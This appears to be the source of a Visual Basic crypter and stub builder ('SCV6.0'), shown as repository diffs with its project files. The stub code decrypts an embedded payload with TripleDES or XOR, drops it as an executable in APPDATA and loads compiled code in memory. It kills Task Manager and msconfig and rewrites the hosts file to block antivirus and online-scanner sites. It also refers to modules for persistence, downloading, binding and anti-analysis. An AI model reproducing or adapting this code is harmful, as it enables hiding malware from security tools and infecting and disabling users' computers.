Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
'MessageB
System.Threading.Thread.Sleep(DelayExe * 1000)
'CallAntis
'LoadMethod
'KKK
'AStartUpCall
'CallWS
'TaskManagerK
'RegeditK
'msconfigK
'notepadK
'dxdiagK
'FolderOpts
'meltcall
'restart
'Downloader
'delHALDLL
'Binder
End Sub
'InjectionEncryptionAlgorithm
Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
Try
Dim u As Assembly = file
Dim t As Type = u.[GetType]([Class])
If t IsNot Nothing Then
Dim m As MethodInfo = t.GetMethod(Void)
If m IsNot Nothing Then
Return CBool(m.Invoke(Nothing, Parameters))
End If
End If
Catch ex As Exception
End Try
End Function
'Anti's Sub
'FunctionA
'Killer Sub
'StubStrEncryption
'KillerFunction
'Websites
'TaskmanagerSub
'RegeditSub
'msconfigSub
'notepadSub
'dxdiagSub
'meltSub
'junkFunction
'InvokeSub
Public Shared Function ReverseString(ByVal s As String) As String
Dim arr As Char() = s.ToCharArray()
Array.Reverse(arr)
Return New String(arr)
End Function
Public Shared Function CC(ByVal Source As String) As Assembly
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults = Nothing
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
Parameters.GenerateExecutable = False
Parameters.GenerateInMemory = True
Parameters.ReferencedAssemblies.Add("System.dll")
Parameters.ReferencedAssemblies.Add("System.Management.dll")
Parameters.CompilerOptions = "/platform:x86"
Parameters.TreatWarningsAsErrors = False
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
Return cResults.CompiledAssembly
End Function
'Add2StartUp
End Class
'heavyJunk
@@ -0,0 +1,14 @@
Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True)
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _
R.GetObject("K"), True))
Try
My.Computer.FileSystem.WriteAllBytes(I, II, False)
Catch
End Try
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _
R.GetObject("K"), True))
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
@@ -0,0 +1,17 @@
Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
Dim keyArray As Byte()
Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
If d Then
Dim hashmd5 = New MD5CryptoServiceProvider()
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
Else
keyArray = UTF8Encoding.UTF8.GetBytes(c)
End If
Dim tdes = New TripleDESCryptoServiceProvider()
tdes.Key = keyArray
tdes.Mode = CipherMode.ECB
tdes.Padding = PaddingMode.PKCS7
Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
Return UTF8Encoding.UTF8.GetString(resultArray)
End Function
@@ -0,0 +1,3 @@
Shared Sub F59()
Killer("taskmgr")
End Sub
@@ -0,0 +1,79 @@
Shared Sub W
WebBlock("www.novirusthanks.org")
WebBlock("www.virustotal.com")
WebBlock("www.virusscan.jotti.org")
WebBlock("www.malwarebytes.org")
WebBlock("www.bitdefender.com/scanner/online/free.html")
WebBlock("www.eset.com/online-scanner")
WebBlock("housecall.trendmicro.com")
WebBlock("www.kaspersky.com/scanforvirus")
WebBlock("www.kaspersky.com/virusscanner")
WebBlock("www.f-secure.com/en_EMEA/security/tools/online-scanner/")
WebBlock("www.windowsecurity.com/trojanscan")
WebBlock("www.avg.com")
WebBlock("www.avast.com")
WebBlock("www.avira.com")
WebBlock("www.zonealarm.com")
WebBlock("www.Symantec.com")
WebBlock("security.symantec.com")
WebBlock("www.pandasecurity.com")
Dim FS As String = System.Windows.Forms.Application.StartupPath & "\DNS.bat"
Dim SW As New IO.StreamWriter(FS)
SW.Write("ipconfig/flushdns")
SW.Write("ipconfig/release")
SW.Write("ipconfig/renew")
SW.Flush()
SW.Close()
Dim P As New System.Diagnostics.Process
P.StartInfo.FileName = FS
P.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
P.Start()
P.WaitForExit()
IO.File.Delete(FS)
End Sub
Shared Sub WebBlock(ByVal Address As String)
Dim SW As New IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\drivers\etc\hosts", True)
SW.WriteLine(Environment.NewLine)
SW.WriteLine("127.0.0.1 " & Address)
SW.Flush()
SW.Close()
End Sub
@@ -0,0 +1,14 @@
Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM"))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
R.GetObject("I")))
Try
My.Computer.FileSystem.WriteAllBytes(I, II, False)
Catch
End Try
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
R.GetObject("F")))
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
@@ -0,0 +1,25 @@
Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String = ""
Dim intXOrValue1 As Integer
Dim intXOrValue2 As Integer
Dim H As String = "&H"
For lonDataPtr = 1 To (Len(DataIn) / 2)
intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
Next lonDataPtr
xEncryptionD = strDataOut
End Function
@@ -0,0 +1,3 @@
Shared Sub F61()
Killer("msconfig")
End Sub
@@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Basic Express 2010
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SCV6.0", "SCV6.0.vbproj", "{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
Binary file not shown.
@@ -0,0 +1,314 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProductVersion>9.0.30729</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{6FFB7D87-0375-45A3-A183-6AE5FDBA1655}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>SCV6._0.My.MyApplication</StartupObject>
<RootNamespace>SCV6._0</RootNamespace>
<AssemblyName>SCV6.0</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<OptionExplicit>On</OptionExplicit>
<OptionCompare>Binary</OptionCompare>
<OptionStrict>Off</OptionStrict>
<OptionInfer>On</OptionInfer>
<ApplicationIcon>Gnome-Dialog-Password.ico</ApplicationIcon>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<FileUpgradeFlags>
</FileUpgradeFlags>
<UpgradeBackupLocation>
</UpgradeBackupLocation>
<OldToolsVersion>3.5</OldToolsVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>..\..\</OutputPath>
<DocumentationFile>SCV6.0.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
<RemoveIntegerChecks>true</RemoveIntegerChecks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>SCV6.0.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="System.Core">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
<Reference Include="System.Xml.Linq">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
<Reference Include="System.Data.DataSetExtensions">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
<Import Include="System.Linq" />
<Import Include="System.Xml.Linq" />
</ItemGroup>
<ItemGroup>
<Compile Include="AeonHackThemes.vb">
<SubType>Component</SubType>
</Compile>
<Compile Include="EN.vb" />
<Compile Include="Form1.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.vb">
<DependentUpon>Form1.vb</DependentUpon>
<SubType>Form</SubType>
</Compile>
<Compile Include="Form2.Designer.vb">
<DependentUpon>Form2.vb</DependentUpon>
</Compile>
<Compile Include="Form2.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<Compile Include="Resources\IconChanger.vb" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.vb</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Form2.resx">
<DependentUpon>Form2.vb</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<None Include="Resources\RpE.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Stub.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\RC4Loader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\RC4.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\TDESRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\TDESLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\RijndaelRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\RijLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\ResetStub.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\StairsRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\StairsLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\AESRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\AESLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\XORRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\XORLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyXORRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyXORLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyStairsRev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyStairsLoader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyRC4Rev.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyRC4Loader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\AntisSub.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\FunctionA.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\PolyDec.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Killers.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\KFunction.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Add2StartUp.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Websites.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\TaskMSub.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Regedit.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Adxdiag.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\ANotePad.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\FolderOpt.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\msconfig.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Restart.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Melt.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Downloader.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\HalDLL.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\APIs.txt" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\Binder.txt" />
</ItemGroup>
<ItemGroup>
<Content Include="Gnome-Dialog-Password.ico" />
<None Include="Resources\Invoke.txt" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework Client Profile</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.2.0">
<Visible>False</Visible>
<ProductName>.NET Framework 2.0 %28x86%29</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.0">
<Visible>False</Visible>
<ProductName>.NET Framework 3.0 %28x86%29</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Windows.Installer.3.1">
<Visible>False</Visible>
<ProductName>Windows Installer 3.1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PublishUrlHistory>
</PublishUrlHistory>
<InstallUrlHistory>
</InstallUrlHistory>
<SupportUrlHistory>
</SupportUrlHistory>
<UpdateUrlHistory>
</UpdateUrlHistory>
<BootstrapperUrlHistory>
</BootstrapperUrlHistory>
<ErrorReportUrlHistory>
</ErrorReportUrlHistory>
<FallbackCulture>en-US</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
</PropertyGroup>
</Project>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1 @@
3203afc0782dd7ca9aeda21389792c5f7d43d6ce